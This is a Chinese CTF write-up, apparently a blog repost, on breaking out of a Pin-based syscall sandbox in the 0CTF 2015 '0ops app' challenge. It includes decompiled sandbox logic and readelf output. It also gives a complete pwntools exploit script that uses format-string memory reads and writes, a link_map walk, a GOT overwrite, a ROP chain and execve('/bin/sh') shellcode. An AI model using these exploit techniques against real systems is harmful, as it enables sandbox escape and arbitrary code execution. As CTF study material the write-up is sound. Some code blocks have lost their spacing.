Quantcast
Channel: 记事本
Viewing all articles
Browse latest Browse all 122

0CTF 0ops app

$
0
0

这道题提供了一个sandbox.so,当时我连如何运行这道题都不知道……今天阅读了http://acez.re/ctf-writeup-0ctf-2015-quals-login0opsapp-breaking-out-of-a-pin-sandbox/https://rzhou.org/~ricky/0ctf2015/0ops_app/test.py,终于搞明白这道题目了,在此记录。

具体地,这道题目需要用pin,下载配置好之后,就可以按如下方式来运行:

$ pin.sh -injection child -t sandbox.so -- ./login

由于目标二进制文件与login里是同一个,所以漏洞还是格式化字符串攻击,可见之前login的writeup。在那道题,我们通过修改返回地址为读flag的函数来获得flag。在这道题,我们同样可以修改返回地址,从而再次调用有问题的printf

如果没有sandbox保护,那我们可以利用格式化字符串攻击来泄露内存地址,获得system,再修改返回地址。但这道题的sandbox.so有进行保护。下面是反编译得到的一部分伪代码:

functionsyscall_check(unsignedint,LEVEL_VM::CONTEXT*,LEVEL_CORE::SYSCALL_STANDARD,void*){r13=arg3;LODWORD(r12)=LODWORD(arg0);LODWORD(rbp)=LODWORD(arg2);rbx=arg1;rsp=rsp-0x8;rax=LEVEL_PINCLIENT::PIN_GetSyscallNumber(rbx,LODWORD(arg2));if(rax!=0x3){//closeif(CPU_FLAGS&BE){//read, write, openif((rax==0x3c)||(rax==0xe7)){//exit, exit_groupreturnrax;}else{if(rax==0x25){//alarmif(*(int8_t*)activated!=0x0){rax=exit(0xffffffff);}else{*(int8_t*)activated=0x1;rax=mprotect(activated,0x1000,0x1);if(LODWORD(rax)!=0x0){rax=exit(0xffffffff);}else{returnrax;}}}else{rax=activated;if(*(int8_t*)rax==0x0){returnrax;}else{rax=exit(0xffffffff);}}}}else{if(rax>0x1){rax=activated;if(*(int8_t*)rax!=0x0){rax=open_check(LODWORD(r12),rbx,LODWORD(rbp),r13);if(LOBYTE(rax)==0x0){rax=exit(0xffffffff);}else{returnrax;}}else{returnrax;}}else{returnrax;}}}else{returnrax;}returnrax;}

可以看到,如果有调用过alarm,那么能够进行的syscall就只有read, write, open了。而不幸的是,login在运行时有调用过alarm。所以,直接修改login的执行流程来调用systemexecve是不可能的了,我们只能通过修改sandbox.so的执行流程来调用execve。具体地,如果把sandbox.so里的exit@got修改指向我们的shellcode,那么再次调用不符规定的syscall,就会造成sandbox.so里执行exit,即执行我们的shellcode了。

特别的,虽然我的系统开了ASLR,但是实验发现,pinbin每次都是被加载到了固定的地址,而pinbin是有DT_DEBUG信息的:

$ readelf -d /opt/pin/intel64/bin/pinbin 

Dynamic section at offset 0x87e3e0 contains 26 entries:
  Tag        Type                         Name/Value
 0x0000000000000001 (NEEDED)             Shared library: [libdl.so.2]
 0x0000000000000001 (NEEDED)             Shared library: [libstdc++.so.6]
 0x0000000000000001 (NEEDED)             Shared library: [libm.so.6]
 0x0000000000000001 (NEEDED)             Shared library: [libgcc_s.so.1]
 0x0000000000000001 (NEEDED)             Shared library: [libc.so.6]
 0x0000000000000010 (SYMBOLIC)           0x0
 0x000000000000000c (INIT)               0x3041b4488
 0x000000000000000d (FINI)               0x3045fa278
 0x0000000000000004 (HASH)               0x304001060
 0x0000000000000005 (STRTAB)             0x304039fb0
 0x0000000000000006 (SYMTAB)             0x30400c980
 0x000000000000000a (STRSZ)392376(bytes)
 0x000000000000000b (SYMENT)24(bytes)
 0x0000000000000015 (DEBUG)              0x0
...

结合之前关于DT_DEBUG文章,我们可以遍历来获得sandbox.so在内存中的地址,进而得到sandbox.so里的exit@got的地址。具体地:

$ readelf -lW /opt/pin/intel64/bin/pinbin 

Elf file type is DYN (Shared object file)
Entry point 0x3041b5150
There are 8 program headers, starting at offset 64

Program Headers:
  Type           Offset   VirtAddr           PhysAddr           FileSiz  MemSiz   Flg Align
  PHDR           0x000040 0x0000000304000040 0x0000000304000040 0x0001c0 0x0001c0 R E 0x8
  INTERP         0x001024 0x0000000304001024 0x0000000304001024 0x00001c 0x00001c R   0x1
      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
  LOAD           0x000000 0x0000000304000000 0x0000000304000000 0x7e37a4 0x7e37a4 R E 0x200000
  LOAD           0x7e37a8 0x00000003049e37a8 0x00000003049e37a8 0x0a3588 0x1b3380 RW  0x200000
  DYNAMIC        0x87e3e0 0x0000000304a7e3e0 0x0000000304a7e3e0 0x0001e0 0x0001e0 RW  0x8
...

我们知道.dynamic会在0x304a7e3e0。所以通过不断地printf打印内存信息,遍历link_map,获得sandbox.so的地址。

此外,检查maps发现,内存中有rwx的区域的,其地址也是每次不变的,应该是pinbin引入的。所以我们可以先ROP,将shellcode写到那个rwx的区域;并修改sandbox.so中的exit@got指向我们的shellcode,最后调用不符要求的syscall,即达到目的。具体地,ROP我是先通过pop; ret把几个寄存器的值设好,再调用login中的一个类似于readline的函数,来实现写shellcode到指定位置。

下面是具体的代码,有些乱……

#!/usr/bin/env python2frompwnimport*importsysif__name__=='__main__':context(arch='amd64',os='linux')ip="127.0.0.1"#ip = sys.argv[1]conn=remote(ip,55555)f=open("pl","wb")defsend(data):conn.send(data)f.write(data)payload="guest\nguest123\n2\n"+"A"*256+"4\n"+"%1$p,%3$p\n1234\n"send(payload)conn.recvuntil("Password: ")conn.recvuntil("Password: ")addrs=(conn.recvline(keepends=False).split(" ")[0]).split(',')base=int(addrs[0],16)-0x1490stack=int(addrs[1],16)retAddr=stack-0x8print"ret addr is %s"%hex(retAddr)print"base is %s"%hex(base)addr0=(base+0x1053)&0xffffdefreadStr(where):username="%%%dx%%40$hn--%%41$s--"%addr0password=p64(retAddr)+p64(where)send(username+'\n'+password+'\n')conn.recvuntil('--')returnconn.recvuntil('--')[:-2]defread8(where):content=''whilelen(content)<8:res=readStr(where)content+=(res+'\x00')where+=(len(res)+1)returnu64(content[:8].ljust(8,'\x00'))#iterate link_map to find the address of libdeffindBase(dynamic,lib):r_debug=read8(dynamic)print'r_debug is at %s'%hex(r_debug)link_map=read8(r_debug+8)print'link_map is at %s'%hex(link_map)whileTrue:l_name=read8(link_map+8)l_name_str=readStr(l_name)ifl_name_str.endswith(lib):l_addr=read8(link_map)print'%s is at %s'%(l_name_str,hex(l_addr))breaklink_map=read8(link_map+24)returnl_addrpinDynamic=0x304a7e3e0sandboxBase=findBase(pinDynamic+13*16+8,'sandbox.so')defwrite8(where,what):writes={}writes[where]=what&0xffffwrites[where+2]=(what>>16)&0xffffwrites[where+4]=(what>>32)&0xffffwrites[where+6]=(what>>48)&0xffffwrites[retAddr]=addr0printed=0username=''password=''index=40forwhere,whatinsorted(writes.items(),key=operator.itemgetter(1)):delta=(what-printed)&0xffffifdelta>0:ifdelta<8:username+='A'*deltaelse:username+='%'+str(delta)+'x'username+='%'+str(index)+'$hn'index+=1password+=p64(where)printed+=deltasend(username+'\n'+password+'\n')'''    6A25              push byte +0x25    58                pop rax    0F05              syscall'''# call alarm to invoke exit in sandboxshellcode1='6a25580f05'.decode('hex')'''    6A3B              push byte +0x3b    58                pop rax    99                cdq    52                push rdx    EB06              jmp short 0xd    5F                pop rdi    4831F6            xor rsi,rsi    0F05              syscall    E8F5FFFFFF        call qword 0x7    2F62696E2F7368    "/bin/sh"'''shellcode2='6a3b589952eb065f4831f60f05e8f5ffffff2f62696e2f7368'.decode('hex')rwx=0x0304aa8080exitGotSandbox=sandboxBase+0xa4e440#write shellcode address to exit@got in sandboxwrite8(exitGotSandbox,rwx+len(shellcode1))verify=read8(exitGotSandbox)print'verify: %s'%hex(verify)# 0x1363 : pop rdi ; ret# 0x1361 : pop rsi ; pop r15 ; retreadline=base+0xcb5#rop: read shellcode to rwx arearop=p64(base+0x1363)+p64(rwx)+p64(base+0x1361)+p64(0x1234)+p64(0)+p64(readline)+p64(rwx)pop5ret=base+0x135busername=("%%%dx%%10$hn--"%(pop5ret&0xffff)).ljust(16)+p64(retAddr)+ropsend(username+'\n1234\n')conn.recvuntil('--')send(shellcode1+shellcode2+'\n')conn.interactive()exit(0)

write8那里直接用了https://rzhou.org/~ricky/0ctf2015/0ops_app/test.py的代码。我之前都是从低位到高位按顺序修改的,但他这样先排一次序再写我觉得很好。


Viewing all articles
Browse latest Browse all 122

Trending Articles